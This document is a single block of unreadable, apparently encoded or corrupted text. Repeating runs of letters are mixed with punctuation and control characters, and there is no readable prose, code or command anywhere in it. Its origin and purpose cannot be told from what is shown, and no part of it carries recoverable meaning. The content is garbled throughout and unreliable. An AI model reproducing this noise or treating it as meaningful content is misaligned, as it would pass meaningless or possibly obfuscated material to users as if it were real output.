O_ WzcczyHWMtxWxWWMzyeMyMyccHQ `eMyMyOyyGQQOyyzGQQzyHezyHWjQjWMzyHtccHoJIOyyzjGQQJWzcczyHWMtzccz zyHMzyHMMeoHzccHzZzyHeMyHoyzHz^MM^FoWM]ozxWHztWMzyoHH HWyf otezHccWzcczyHWMtzyHMzeMccMeoHdccccEcc]rESoHzoyeZ{zeMccMe{ggnoHdccccEccCS{{nz cceMqWtz cceMqWtcczWtVz Qjz zyHezyHWz ccHMez ccoOWzccWHWMzyccyz WMzyccyccWzzWMtz ccWMzytyccyHoMzWMyWzccoHHoWzccoHHozyHMzyHM]E_PzyHccHoyzccz zccz zyHMWzcczyHWMtotccoOQooM`oOOxt  ~VxaoekyqWccUWzyzz cczyOcczoWccMoWMWccty^MM^FMeMgWMzyOQzccWMWccoQWzccqWqWcctycceMyMyzHtccHoQMjoyeccHMccqWzmzml{hXjlI{hHMXmHtccTeylI{hHMXml{hXjHjMjQWzcc_ccSCScci^WMWMWccyccWzzWMtVQqWcctycceMyMyzWzcczyHWMtQoyeccHMccqWzmzml{hXjglI{hHMX[gkQWMeMyHuWMcceMdoHccUeHyn
oyOOHe oZd	gu
oyOCUyWeMd	gu
d	cczWHMocccc}^Cccccg{QWqWzccqW	cczggu	cczqWcctycceMyMyz	cczgnWqWzcczyHWMt	cczgguWqzyHM	cczgLkKvVa~g	cczHtccHohQMQmlK`\o`qXukKKKw
mQg[	Qhwhhw	cczgnWqWzcczyHWMt	cczgFFV	cczghhguyHuWMcceMd	cczn
oyOOHe oZd	gu
oyOCUyWeMd	gu

Mzy	cczgn

Mzy	cczgnqWcctycceMyMyzVWMWcc HoqWcctycceMyMyzWzccqWzccWMWccqoWzccWMWccoWMWWHWycceMqWyWqWccUWzyzWzcczyHWMtHoccqoWzyHezHyHWoyeccHMccqWdd{zccWMWccMWMtzccWMWccqoWMezccWMWcco^MM^FHeZccVKKzccWMWccqoWWMWEccPcc_C_zccWMWccMWMtqMyWeMccUWzyzWMWcctyWMWcctyzHccWMWoOccyyMezccWMWccqoWzccWMWccMWMtMeHeZccoQOyozzyWeMzd`^MUzB}WzcoyOd{xWetzTg	{LB^qcedeccoyOxcceHLTWHdodMWBQ^qceLB^qcedNeccoyOxcceHLiMdqHedoBQ}WzcoyOLqWccUWzyzqWcctycceMyMyzOyOOyccyzccozyccqyOccyzOyOyccyccWzzWMtOyozzQOyozzWMWcctyzHccWMWqWMoWzccqWWzcczyHWMtQoyeccHMccqWzmjGzgzml{hXjglI{hHMX[gkQWHtccHoQIBjOQBjOdyHuWMcceMdn
oyOOHe oZd	gu
oyOCUyWeMd	gu
HccqoWOyozzQOyozzzccOyccoyWWzcczyHWMtOycceoHqWcctycceMyMyz^MM^FzccOyccqoWMeWHWycceMOccodoyeccHMccqWqWccUWzyzqeqMyWeMccUWzyzqeWzccqWqed{d{d{qMyWeMccUWzyzeMyMezccOyccozccOycco]E_PqMyWeMccUWzyzeyoycceyWeMi]ccPEi]ccECi]cc_EEiozzccUWzyzzTWi]ccECi]cc_EEii]ccScCzTWGdeyeQ `eZy`oO`oyqWzWxqWcctycceMyMyzeMyEikMotxezyHMzyHMVWzcczyHWMtQIBjOzmQeccQmdEcccc]C^SGdmQQmdEccccCSiG^MM^FBjOdQmd `eZy`oO`dmQdQmdEsGoMoHccoHccqoWEcccc]C^SzyHez `eZy`oO`QEsG[[[gQLQMjQmdEcccc]C^SGlo`x`YK`\ccXmGgdmQmjQmdEccccCSiGkdmQMjQzHccqoWeHWMzccooMoHccoHccqoWQmd `eZy`oO`]E_PqWcctycceMyMyzQIEikG[[[gGQzcceccoyccezcceccoycceoycceHHyWzcczyHWMtEikGVqye `eMqWtOqyezOecceMqyeOozOOozOzOoDV~VEEPckGzyHMzOecczWxzOeccHoWzcczyHWMtzyHezzOeccezzOecc HWyzyHccozOezOeccyzOecceMzyHccoWzcczyHWMtQBjOQWzZzyHQIzmoHzmmjgzmnMozoz[lInuX[zmngQWz^MM^FzZzyHzZzyHBjOdqMyWeMccUWzyzzccHWMzcczyHeztycceyWeMqMyWeMccUWzyzoycceyWeMWzcczyHWMtUeHeWMytcceqcc oHdZozMoOxWqyeWMyoEccisccooccyccWzzWMtqWcctycceMyMyzWzcczyHWMtooccQmdEcciscc]C^SGQmdEccisccCSiGdmQHtccHoQQmdEcciscc]C^SGlo`x`YK`\ccXmGgdmQmjQmdEccisccCSiGkdmQQzEcciscciCizyHezzyHezHtccHoQldyXmWqzmzmqWMzmzml{hXEcciscciCil{hXzmgzmgzmHyHMzmnlIHMXmQoHtccHoooooMoHccoHccqoWCCEcccCPizcctoHWzcc HWyoZ `WMztccQtccQtUccqWyW^MM^FyWyWQtcc `WMzQyWQtccqWcctycceMyMyzHtccoyOQI[[[	QQtzccyWtoHHocczzyyWMecczyoyzOWzcc HWyoZ_ccc_^Scci^QtWMz_ccSCScci^toHZoz~ccMeZoz~ccMeZoz~ccMeZoz~ccMeZoz~ccMeZozMozccozyccqyOccyztoHtoHccyccWzzWMttoHccyccWMoWQtccVQtcctoHzZzyHcceMyzyHMzyHMWzcczyHWMtzyHMWzccqHcczozccocceqqccyzyWyWzyHMzZzyHjLHoMeccZyzZWMDOUzyHM^MM^FmQWzcczyHWMtQHjMQmlK`\o`qXukKKKw
mQg[	QWzcczyHWMtqMyWeMccUWzyztycceyWeMWzcczyHWMtWzccqWzcce Mcczcce Mcczcce MccoMWqzyWzccoHHoqWcctycceMyMyzVzcce MccoMWqzyzcce MccqMyWeMccUWzyzzcce MccoMWqzyVeWqWqWcctycceMyMyzHtccoyOtozyHMzZzyHQe Mcce MOqMyWeMccUWzyzzcce MccHWzccoHHozZzyHHTHTzyoHyWMtezyoyZeeyccyzZeeyccyztMzyoHyccyzCCEcc^cCzcce MccHMeWzccoHHooyOWzcczyHWMtoyOWzccqWqWzWx^MM^FZeeyccyzeMMe MqoWoMMe MqWzWxqWcctycceMyMyzWzcczyHWMtQQmlK`\o`qXukKKKw
mQgzm	QqWcctycceMyMyzOQTccWzccqWqWyWVoycceyWeMzccqHHccoHHocczWttetWzcczyHWMtHtccoyOccoQZoz~ccezmhl`Yo`xK`\[QXukKKKw
ghzmgQHtccoyOccoQjGtxetxWMqoytxMeHzzgzm{jGlI{XmjGlI{Xmgmgg{QzUQUlK`\o`q`}XuD
gQOyxT tVq kKccxv\QjGtxetxWMqoytxMeHzzgzmhjGlIhXmjGlIhXmgmgghQzzyHccHohWzcczyHWMttxzyHezzyHezHtccoyOccozyHezWzcczyHWMtWzcczyHWMtQQmdEsG[[[gdmQQzZzyHWzcczyHWMtQmdQIlo`x`YK`\ccGX[	QzZzyHQmd^MM^FccCSiGzyHMyOccQQmdEccPcc]C^SGlo`x`YK`\ccXmGdmQQWzcczyHWMtEccPxk ~aVyMUoODVxEcciiWTT KT~~z\xvWzcczyHWMtQQQEccPccicclo`qK`\ccX[HjMlIMXm	QtT~zaWzVpkpWvEcciiWzcczyHWMtyOccQQmdEccPcc]C^SGlo`x`YK`\ccGX[gdmQQQQmdEcciicc]C^SGlo`x`YK`\ccGX[gdmQQzcczccoMoHWzccoHHozccOozOccToz``LqMyWeMccUWzyzZWMyWqMyWeMccUWzyzWyzyHWzyWyHWzWyzoMoHZocc HWyccqoWQyOZccZoZocc HWyccqoWyWyHWzeMyWyzzccoMoHMeocceZMk ccHeycctyHWHyWeMMe`zyeHwdMe`oO_HotoqMyWeMccUWzyz^MM^FWzcc ccHHeH ccHeyccHyHWccHzeMzcceqMyWeMccUWzyz ccHeyccHyHWccZeqWcctycceMyMyzWzccqWtycceyWeMWyzyzqozytWccqWMWzOccHTzyWyzccqWMWzOccHTzyWyzccqWMWzOccHTzyWtMeHcczHccoZeHyWtMeHcczHccoZeHy ccHeyccty `etWMOyWMHWqWccdjzccHo HMeFccHqMyWeMccUWzyzHeZoccVKKdWyzzyHezBN``EfG``LzyHezzccHeZoccetWMVKKdWyzZWMyWZccZWMWyzWzcczyHWMtzyHezzccZcceeMeWzcczyHWMtzyHezcczccqoEccPcc]C^SzccEEPckGEsGQEccjGi]isgcc]C^SG[[[gQz MyHoWxccqeHWtMcczWd^MM^FqWccycceMyMyzqWcctycceMyMyzzyHMHtccHoQldyXmQmdEcci]isgcc]C^SGlo`x`YK`\ccGX[gdmQmjQmdEcckccCSiGDdmQldyXmHjMjQzWzcczyHWMtqWyWzeoOccWMoWoyWzcczyHWMtQWzccqWzmhlIhX[ghzmgQWzcczyHWMt]E_PWHMoZccqeHWtMcczWdzHHcceEHf`]E_PQ `eMqWtOWzccqWWzccqWWzcc HWyoZHooyOWzcc HWyoZqWzWxqWcctycceMyMyzWzcczyHWMt_cceHcc^MytHWyQyQOzyHez_ccCc_cci^zccyccqWUzzcctyccyccWHzzcctyccyccWHQyWzccWHWzcc HWyoZQqWMzmzmlh{X_ccPClh{XQqWcctycceMyMyzEcciscc]C^SGzyHezQqWMzmzmlh{X]E_Plh{XlIMXmMqWMdh_ccPChwdyHdgnMQQqWMzmzmlh{X_cciC]lh{XzmwzmyHzmgQWQqWMzmzmlh{X_cciC]cclh{XzmwzmyHzmgQWHtccoyOQqWMzmzmlh{X_cciC]cci^E_Rlh{XzmwzmqozzmgQWQldyXmQmd_cceHcc^MytHWydlo`qK`\X[gdmQmjQmdCM`_cceHcc^MytHWydkdmQldyXmHjMjQzWeQldyXmQmd_cceHcc^MytHWydlo`qK`\X[gdmQmjQmdCM`_cceHcc^MytHWydkdmQldyXmHjMjQzHtccoyOcco^MM^FQIldyXmWqzmzmNjzmqWccUWzyzzmhQyQOl`Yo`xK`\X[hlIMXmMldyXmWqzmzm	cceFFlIMXmMgjQHtccHoQqWMzmzmlh{X]E_Plh{XlIMXmMQQqWMzmzmlh{X]E_Plh{XlIMXmMgQ	kWzcczyHWMtHtccoyOHtccHoQqWMzmzmlh{X]E_Plh{XlIMXmMgQ	kHtccHoQqWMzmzmlh{X]E_Plh{XlIMXmMgqWMdh_ccPChwdyHdgnMQQIldyXmqWMzmzmlh{X_cciC]cccci^E_Rgjlh{XzmwlIMXmMQWHtccoyOHtccHo	kWzcczyHWMt QqWMzmzmlh{X]E_Plh{XlIMXmMgqWMdh_ccPChwdyHdgndQmdEccdmQMQ	kz OeQhQyQOl`Yo`xK`\X[ghQzyHezycceyWeMQeyWeMccMozmzmhlIhX[ghQoHHoccMWTQIcczWyccyHoMzWMyccOoyOqgcclo`qK`\X[	Q_ccSCScci^Q`tWMzqMyWeMccUWzyzteZWzccWHQmQmOQzccQeHccWzccqWHooyOHooyOEsGHtccoyOQQmdEsG[[[gdmQQqeHWtMcczWdZozMoeoOccWMoWoyZozMoteZteZQmQqMyWeMzOWzccqW^MM^FqWzWxzyHezEccPcc]C^SzyHezEcciicc]C^SEccPcciccycceyWeMezZUH\OeyOZWD t \pHxpMccccUZkHtHDkVZOTVy\x~kqMyWeMccUWzyzxccDxx~yxoH MDDMezccZeeyccyZeeytoccyoeHqMyWeMccUWzyzyzWzccoHHoHtWzyHcczOye MccqMyWeMWMGQOyozzqMyWeMccUWzyzzHccWMWqWMoWzcczyHWMtHHyHWWMG `eZy`oO`zccHzWzyccoMWqzyzyoyzWxyWHtccoyOQH[g	QzZzyHzZzyHzZzyHWzccqWqWzWxWzccqWqMyWeMccUWzyzOQZOQqMyWeMzOHzZzyHKH^MM^FHzWzyZWtGqWcctycceMyMyzOyOOQooM`oOOEcci]qWcctycceMyMyzHtccHoqWcctycceMyMyzQEsG[[[QzZzyHzyHezQMjQmdEcccc]C^SGlo`x`YK`\ccGX[gdmQmjQmdEccccCSiGkdmQMjQzQoOQeozQmQmQteZQyOzQmQ `WMzQteZmO `WMzQtUccWMoqMyWeMccUWzyzteZtcctzcctcctcctycctcctcctzcctHccQtHccmOOyozzqWcctycceMyMyzoyeccHMccqWQMjB^qcedeccOlK`\XmLzmOccodoyeccHMccqWlIMXmlIMXmMBQ^qceLMjQWQMjOccodoyeccHMccqWlIMXmlIMXmMjQWWzcczyHWMt `eMqWtOWzccqWWHMoQ `eMqWtOEcc^MM^FHtccHoQldyXmqWMzmzmlh{X_ccPClh{XzmwzmyHzmgzmnzmQmdEccdmQldyXmHjMjQqWyWzHccWMWqWMozHWMWqWcctycceMyMyzHtccHoQoyeccHMccqWzmmHtccTeymMQWoHHoccWqqWzccqWEccPtT~zaWzVpkpWvEcciiqyezOeccyqMyWeMccUWzyztycceyWeMzccoMoHWzccoHHoWyzWzccoHHoWyzzcceccoyccezccOyccoxt  ~VxaoekyzcctoHqMyWeMccUWzyz ccoHcczOccOeevy~a~\kvtHzccHeMcctoHWMoWoyOzyHMZccQmdEcci]cc]C^SGQmdEcci]ccCSiGZccQQmdEcci]cc]C^SGlo`x`YK`\ccXmGgdmQmjQmdEcci]ccCSiGkdmQQzzyHezEcci]cciCiHtccHoQldyXmWqzmzmqWMzmzml{hXEcci]cciCil{hXzmgzmgzmHyHMzmnlIHMXmQEcci]ccVZccyzccozyccqyOccyzZccyccWzzWMt^MM^FQIBjOzmQzyHMoMoHccoHccqoW `eMyMyQyOzQtycceyWeMQyOccyOoMWzOccHzyeHzccyOcco]E_PzccyOccoQmdEccPcc]C^SGdmQQmdEccPccCSiGEccPcczZzyHOyOccyccWzzWMtHtccHoqeyOqMyWeMccUWzyzqeQyOccZoyOccMappkxyKvHtccHoQQQEccPccicclo`qK`\ccX[HjMlIMXm	QyOHccqoWzyHezEccPcc]C^SEccPccicceHOoMWzcczyHWMtBjHyHWzyHMxWOzHccyYWHOWQeozQoyRQQ_ccSCScci^qWccUWzyzqWzWx^MM^F ccMUycczO]E_POeHyWzcctoHccWMyHoHeMcczy yyqeTDZMZvptvW `WMzWzccqWqWyWQtUccWzccqWyWWzccqWVccqWzcctoHHeMcctoH]E_PqWzWx ccvWzWaWOVaWzcczyHWMteyzyHMqMyWeMccUWzyzoyWcctWMzWMccoHHooyWcctWMzOHtccoyOzZzyHVHeMccHWMzyWzccqWP_QkkdKdSeyd}eMqMyWeMccUWzyztycceyWeMoycceyWeMMeyWMeHtccoyOQIzmjGQmQQoHdydeMzydqMyWeMdzqgQQIl`Yo`xK`\[QHMX[	QzyHMzyHMeMyMy`GdoWoyWeMQoozHWyEHW`eHH`e GdQP_QkkdDKdSedeMyMyz cceMqWt^MM^FP_cc^}ccSSCcccPP_QkkdpKdSeydceWqWCotGdEHW`eHH`e GdQoO`eMyHeGdMe`oOCotGdz cczccHWqWzcczyHWMtqMyWeMccUWzyzOeccHoHzccHqMyWeMccUWzyztycceyWeMzWyHP_ccPEWzcczyHWMtQG[	QHWqzcczoMyWccHeZeMyMy`GdyUyQoWMoO`eMyHeGdMe`zyeHEccECcGVEccECccc}^HWqccqMyWeMccUWzyzHeyccoMcceoWM pyccqzOccoztccoOHzzccHtccoOWyzccHtccoWyEccoOcc_^WyEccoOcc_^Htcco]Hxcc_HtoOyOeccUWzyzZHxccoOccqzOyOeccUWzyzoHccyeyoccoO qccoHccoccoOWzcceZyyoO ccoOccoHccoOoyeyWWxoOoyeyWWxoOoHoHtcceMcczccOoMtWzccoWM cceWMtccooUCEccCCE^MM^Fbc_ccCCEWzccqWzccHeZeyzWzcczWyozWzcczyeWxccHW MyeH`HW zyeWxccOoMtzyccWqccZWHzyHccHoBQzHWyBQzHWyOeccHqMyWeMccUWzyztycceyWeMoycceyWeMzcczccHWMyccMeyzcczccHWMyccMeyyWzcczccHWMyBQZeLBOyzcczcceZWzcczyHWMtzcczzcczeZcczyoHyUvDMWakov~Z\aotMe otMe  `etWMOzccz ccozyccHBzHWydoyo`z`oHdqMyWeMOguoHdH{{wWnqeHWKnWBOMtyOnW[DgH[EyHWMtqHeOoHeoHz^MyOzZzyHWwDgwk~ggnHyHMdH
wz MoWtoyeHl{zHWeHH{gXwWqz gz l{tytWzyHoyWeMz{gXgyOMqMyWeMHzguHzqeHCoOqMyWeMHguoHdNnWqNgl{oyW{gw{ oWyWMtWMzyoWMt{gXqeHCoOqMyWeMguWqHlXFFHlXl{zHWy{gXgk
gnWqgHl{MHtWzyH^MM^F{gXg
g
gl{oyO{gXqMyWeMgu
gBQzHWyLzyHccHoqMyWeMccUWzyzoHzccHHyHWBzHWydoyo`z`oHdqMyWeMOguoHdH{{wWnqeHWKnWBOMtyOnW[DgH[EyHWMtqHeOoHeoHz^MyOzZzyHWwDgwk~ggnHyHMdH
w{gXnWqz guz l{tytWzyHoyWeM{gXzeMccMeyOMqMyWeMHguWqNHgz l{HtWzyHwuzeG
gl{oyO{gXqMyWeMgu
g
gl{oyO{gXqMyWeMgu
gnoCMyWzyMH{gX{zzot{gwqMyWeMguoHdl{oyo{gXnWqFFguyHuM d}MyWeMoyeZggg
oyOUgu


gnHo{gXyOMqMyWeMHguHl{{gXl{ezyczzot{gXuyG{H{
g
g
z ccHtqWyWqWcctycceMyMyz_ccSCScci^teZteZWzccoHHoWzccoHHozZzyHWzccoHHoWzccWH^MM^FzZzyHOqWyWqWzWxzyHezHtccoyOeoOccWMoWoyz ZozMoeqqZozMoOQzccWHMo`tWMztycceyWeMWHMoZozMoqMyWeMccUWzyzoyWcczWy WcctWMzWHMoQZoccUeeMyMWMqMyWeMccUWzyzqWccycceMyMyzqWzWxoyOHooyOqMyWeMccUWzyzOzZzyHVzccZeeyccHzccZeeyccHLzccZeeyccyEccCcc]E__CizccZeeyccyEccCcc]ccsCzyoHyWMtccoe\MevzeOyKKMWvzOVtpvUVUWT\_P^S}ccCbCSE^St~Mkyzt\Dccy~H  zMq\HtWzyHcczOye MccqMyWeMHtWzyHcczOye MccqMyWeMoUKyMyZ qHxzO\eoWyVetzccMtq^MM^FZozMoyHWqWcctycceMyMyzWHMoQZyccOeqccMWMUqVVkHxk\VkOtqccHVccHeKeo`tWMzOoWMccWMWyUUyDtpZeDeayWHZUaoKOH~HDaTZaqT\eqqeWVHzWpp\q qccqWMHcceMMyeHcceyzqz cczUyazKUyccV ccqWccoMotHcceMMyeHcceyzqWMHcceMMyeHcceyzqz cczUyazKUyccVqWccoMotHcceMMyeHcceyzoyOMyWoyTTqTzHpkkOzat ccetWM oWUokUx~tDzHcczHccTHccoKqUK~pqTUHzycczHccTHpytUqMccDvDvUH W zcczHzpZt\~kOxZtccWMqeHoyWeM Wv\otKTtaTWattVkzOe ccooMcctWMzoM yeTpMZV\ZxztoWMccOo`tWMzOZccqcca~aqktKezWyccyHoMzWMyccoycctWMzoWkz a evT eUccocctWMz ccooUccccqWccqeHccoMotHTkz~ZMH\ ccooUcceMMyeHTkz~ZMH\ ccooUccqzcceMMyeHTkz~ZMH\ ccqeeyHzz~tMVHZ~WyoyccHWHy^MM^Fzv~qM TMpDHD~WoWMccqeeyHOppDzzyDWWetWMccqeeyHOppDzzyDWWUDMxKyozVTVxMZq~kpZMpWH y  VetyvyooVcccctOKKMHyUyoW  DxezOU\kcc   ZZzkTUUyDtpZeDea\txVTqH\UkvztWMzcceoxt  ~Vxaoeky~z\HKzveq\kaHoZ MHtZTkkZaWo H\ZVHkVM  \HqZWtTVztycceyWeMqMyWeMccUWzyz\\qxUDtDKHKccpzUky\\p tTaWOztTtMW~eDUzqMyWeMccUWzyzoycceyWeMzccozyccHeHccOzccozyccHeHccOyWDHZ D\  \THeMcczOzTWoyqeHZHyx~\WOaztWMzcceoBMZKJMQ^dVbBYJQ\KVPQ]]W	SFT[SO[QSVDZTN
JS	UVFESVKVY~}lokwL\`IZMPOSJXVQ]^Rhsjxvq{mrT[WKF|pzHccYGiyntcN E
	gfeUDdBbCau_K]E_PzccHepDtWMZo^SicQ`OyC qUmdsG[g}fhwKTBjxL\aVkv~bRYnu{l
XFNI	Jr|MYPMUULKMSZQZUDOLKMOPLKZdUbMOY^SLZ ZdUbYdObBMZKJMQMBYJQ\KVPQVXM][PQ]Y\LVDMZKJMQ]]W	SFT[SO[QSVBYJQ\KVPQVH`INEO^FN]EXVDMZKJMQ]]W	SFT[SO[QSVBYJQ\KVPQEFRTLZZP[KVDUVMZKJMQ]]W	SFT[SO[QSUB55YJQ\KVPQHK
^GGH[ZLGSM`VULDGSM`VULVLLZKGSM`VUL GSM`VULMZKJMQGSM`VULB5YJQ\KVPQEVIK
L
RZZ[[]LRQWWJUVV^DWWJUVV^VLLZKWWJUVV^ WWJUVV^MZKJMQWWJUVV^B55555[ZYVQZ[VH`INEO^FN]EXPMZGVK55YJQ\KVPQHX]T^EKEHX	P^Q^	HYK5D5MZKJMQVLLZKxsp}~sldVXM][PQ]Y\Lb xsp}~sldEFRTLZZP[KbVH`INEO^FN]EX5B5YJQ\KVPQM	L]ZERI5D5MZKJMQ``yvsz``55B5YJQ\KVPQVTLW
XJG
JFGVSN\F5D5MZKJMQ]]W	SFT[SO[QSM	L]ZERI5B5YJQ\KVPQNHWM
	E]	YE^M5D5VY]]W	SFT[SO[QS]]W	SFT[SO[QS
MZKJMQOSJXVQ`]^LZQ^RZM	L]ZERI55[ZNRP^YRR]OM	L]ZERI555XRRKX[HMJGT
[ZYVQZ[]]W	SFT[SO[QS	 ho`osjxvq`{vm5VYXRRKX[HMJGT
VXM][PQ]Y\L[ZNRP^YRR]OXRRKX[HMJGT
MZKJMQVH`INEO^FN]EXVH`INEO^FN]EX[ZNRP^YRR]OEFRTLZZP[KXRRKX[HMJGT
5MZKJMQVXM][PQ]Y\LVH`INEO^FN]EX[ZNRP^YRR]OVXM][PQ]Y\L[ZNRP^YRR]O5B5YJQ\KVPQJ`\^PQZPIIFTLPWKQ5D5JQWPPTLKMPQXX^KZH^F5555MZKJMQ]]W	SFT[SO[QS[ZYVQZ[EFRTLZZP[K horj`osjxvq`{vmho`|pqkzqk`{vmEFRTLZZP[K
5555B5YJQ\KVPQQSZ]NSTIXV[VJ
5D5MZKJMQ]]W	SFT[SO[QSM	L]ZERI5B5YJQ\KVPQ`QGTGLSFXUY^^[ZMQZWP	SEIU
LRQ	YO	OUYP\PUYJ
	Y^SLZ5D5MZKJMQ]]W	SFT[SO[QS]]W	SFT[SO[QS	 ]]W	SFT[SO[QS	ZMQZWP	SEIU
LRQ	YOOUYP\PUYJ
	Y^SLZ5B5YJQ\KVPQNNKZM`SOUHJYLELIV\ZYS]Y^ERQVMPIU
LRQ	YO5555D55MZKJMQVXM][PQ]Y\LVH`INEO^FN]EX VXM][PQ]Y\LYS]Y^ERQVMPIU
LRQ	YOY^SLZ5B5YJQ\KVPQVFSMLJMN\IFZNQYS]Y^ERQVMP5D5RPQPRPMOWVEZHPMTNJZJZYPMhoxMPJO}SP\T5\FOU`IYL]MOowo`vqk`r~gowo`vqk`r~gS`UUFJ]JFQ\FOU`IYL]MO
5MZKJMQEFRTLZZP[KEFRTLZZP[K VXM][PQ]Y\LYS]Y^ERQVMPY^SLZ5555B5YJQ\KVPQ\TWJQV`G\FXK[KYS]Y^ERQVMPVLXMN]]GO555D55MZKJMQEFRTLZZP[KEFRTLZZP[K VH`INEO^FN]EXYS]Y^ERQVMPVLXMN]]GOY^SLZ5B5YJQ\KVPQZUST[\KTSYS]Y^ERQVMP555D5555\U``OVN[HOJZHWEGJ	FWZJVY5MZKJMQ\TWJQV`G\FXK[KYS]Y^ERQVMP\U``OVN[HOJZ\U``OVN[HOJZ
OMUGES	[	RUI5B5YJQ\KVPQWMSI
EU]HJ`TOQ	ME]TJVKIKOWS[L]5DE
OLYRS]O	`^Z[N^OSE
OLYRS5MZKJMQEFRTLZZP[KVXM][PQ]Y\L EFRTLZZP[KQ	ME]TJVKIKOWS[L]Y^SLZQNVMKUK	\[U]QQZRYOQNVMKUK	\[U5B5YJQ\KVPQYPEJH	XHMVG^Q	ME]TJVKIKOWS[L]5D5MZKJMQVH`INEO^FN]EXEFRTLZZP[K EFRTLZZP[KQ	ME]TJVKIKOWS[L]Y^SLZ5B5YJQ\KVPQ\`		MQ\[[WOJT`	\G	ZMQZWP	SEYS]Y^ERQVMP5D5MZKJMQVXM][PQ]Y\L
]]W	SFT[SO[QS	 VXM][PQ]Y\L	ZMQZWP	SEYS]Y^ERQVMPY^SLZ555B5YJQ\KVPQZUGHRIX`P\SXMEP55D5LK^KV\IJSTVYEKNXEI^QJSS5VYIJSTVYEKNXEI^QJSSMZKJMQIJSTVYEKNXEI^5IJSTVYEKNXEI^EFRTLZZP[K
VH`INEO^FN]EX VXM][PQ]Y\LEFRTLZZP[KXM^XQP[`J	
	TIN
GRWRXUXM^XQP[`J	5VYVH`INEO^FN]EXIJSTVYEKNXEI^]]W	SFT[SO[QSIJSTVYEKNXEI^MZKJMQIJSTVYEKNXEI^5VRLXYOW[ZYVQZ[VH`INEO^FN]EX ho`|pqkzqk`{vm[ZYVQZ[VH`INEO^FN]EX ~}lo~kwVXM][PQ]Y\L5VYVRLXYOWD5[ZNRP^YRR]O]]W	SFT[SO[QSVRLXYOWVXM][PQ]Y\LEFRTLZZP[K
5VYVH`INEO^FN]EX[ZNRP^YRR]OVH`INEO^FN]EX	[ZNRP^YRR]O	
KMJZ55VYEFRTLZZP[K[ZNRP^YRR]OEFRTLZZP[K[ZNRP^YRR]OD5VYVH`INEO^FN]EX
VXM][PQ]Y\L	OJKZQI]]W	SFT[SO[QS[ZNRP^YRR]O5xsp}~sldVH`INEO^FN]EXb5IJSTVYEKNXEI^[ZNRP^YRR]O5B5B555MZKJMQIJSTVYEKNXEI^5B5YJQ\KVPQ^^FJIM`E^]QEZR5D5ZMQZWP	SEQSZ]NSTIXV[VJ
5IU
LRQ	YOJ`\^PQZPIIFTLPWKQ5owoYV]ZMLLZKKVQXLLZ\KVPQ55VYZMQZWP	SEIU
LRQ	YOMZKJMQKMJZ5VY]]W	SFT[SO[QSEFRTLZZP[KD5555VKWKXXXKSRI\EFRTLZZP[KZMQZWP	SE5555^KSUGEVFJ^M]]W	SFT[SO[QSIU
LRQ	YO5MZKJMQVKWKXXXKSRI\Y^SLZ^KSUGEVFJ^MY^SLZVKWKXXXKSRI\^KSUGEVFJ^M5B555MZKJMQY^SLZ5B5YJQ\KVPQOMUGES	[	RUI5D5MZKJMQ5B5YJQ\KVPQHEI		]\Z[PS`S5D5VY[ZYVQZ[VXM][PQ]Y\LMZKJMQ55VRLXYOW[ZYVQZ[EFRTLZZP[K ho`|pqkzqk`{vm~}lo~kwVH`INEO^FN]EX5MZKJMQVH`INEO^FN]EXVRLXYOWEFRTLZZP[KVH`INEO^FN]EXVXM][PQ]Y\LVH`INEO^FN]EX~}lo~kwVH`INEO^FN]EX
GGVH`INEO^FN]EX	VH`INEO^FN]EXVXM][PQ]Y\L~}lo~kwVH`INEO^FN]EX
aVXM][PQ]Y\L5B5YJQ\KVPQ]VHOMXWUJY]KHQOSWHU\SXQFGQJSS5D5YS]Y^ERQVMPHEI		]\Z[PS`S5VYYS]Y^ERQVMPMZKJMQY^SLZ5VY]]W	SFT[SO[QSOSWHU\SXQFGCCEFRTLZZP[KOSWHU\SXQFG	OSWHU\SXQFGZEGGFQGIVMRH5VYOSWHU\SXQFGCCIE[
QM[VN\`]\E]JOSWHU\SXQFGMZKJMQY^SLZ5ZMQZWP	SEEFRTLZZP[KYS]Y^ERQVMP555VY]]W	SFT[SO[QS
ZMQZWP	SE`QGTGLSFXUY^^[ZMQZWP	SE
KMJZ5VYVH`INEO^FN]EX
ZMQZWP	SECCEFRTLZZP[KZMQZWP	SEMZKJMQY^SLZ5VYEFRTLZZP[K
YS]Y^ERQVMPD555VYEFRTLZZP[KUH`VLVJVW
UTUZLKMVQXEFRTLZZP[K
YS]Y^ERQVMPVH`INEO^FN]EXOSWHU\SXQFGMZKJMQKMJZ5U^N[IM\THIWGNWR^EFMPG`SEK^RQOKKXU
VYS]Y^ERQVMP5VYU^N[IM\THIWGNWRQJSSIZMLVPQ`\PRO^MZU^N[IM\THIWGNWRHX]T^EKEHX	P^Q^	HYKMZKJMQY^SLZ5JQLZKU^N[IM\THIWGNWR5B5VYL]NY]EJ\QQ
ILGUVGOYS]Y^ERQVMPOSWHU\SXQFGMZKJMQY^SLZ5NNKZM`SOUHJYLELIV\ZYS]Y^ERQVMP5S^YTFWKYW`^YS]Y^ERQVMP5MZKJMQKMJZ5B5YJQ\KVPQX	\W]SXLFR^IERIWX5D5OSWHU\SXQFGZEGGFQGIVMRH5555VYOSWHU\SXQFGCCIE[
QM[VN\`]\E]JOSWHU\SXQFGMZKJMQY^SLZ555[INN^OUHUIEFVH`INEO^FN]EXM	L]ZERIEFRTLZZP[K^

USIH[Iowo`vqk`r~gowo`vqk`r~gHJXS	O^

USIH[I5IYXE	[YVH`INEO^FN]EX
VXM][PQ]Y\L
 JF[NGLJR[\IKJY^[ZYVQZ[EFRTLZZP[K ho`|pqkzqk`{vm5VYIYXE	[YMZKJMQY^SLZ55XRRKX[HMJGT
IYXE	[Y]]W	SFT[SO[QS

[INN^OUHUIEF5RXZN\X]L]UXLXRRKX[HMJGT
[INN^OUHUIEFVXM][PQ]Y\L555EUZYUEL	]
IZSVY^SLZ5VYVXM][PQ]Y\L
VH`INEO^FN]EXD5UQ
RN[[EFRTLZZP[KRXZN\X]L]UXL5LMNRX`JNQE	RTEFRTLZZP[K
	M	L]ZERI5EUZYUEL	]
IZSVVH`INEO^FN]EXUQ
RN[[VH`INEO^FN]EXLMNRX`JNQE	RTUQ
RN[[LMNRX`JNQE	RT55B5VYEUZYUEL	]
IZSVD5VYEFRTLZZP[K
XRRKX[HMJGT
`QGTGLSFXUY^^[XRRKX[HMJGT
	KMJZ5555VYVXM][PQ]Y\L
XRRKX[HMJGT
CCVXM][PQ]Y\LXRRKX[HMJGT
MZKJMQY^SLZJUQM	YHNRowo`vqk`r~gowo`vqk`r~gI^WNOOZ[JUQM	YHNR5VYVH`INEO^FN]EX
RXZN\X]L]UXLCCEFRTLZZP[K
UH`VLVJVW
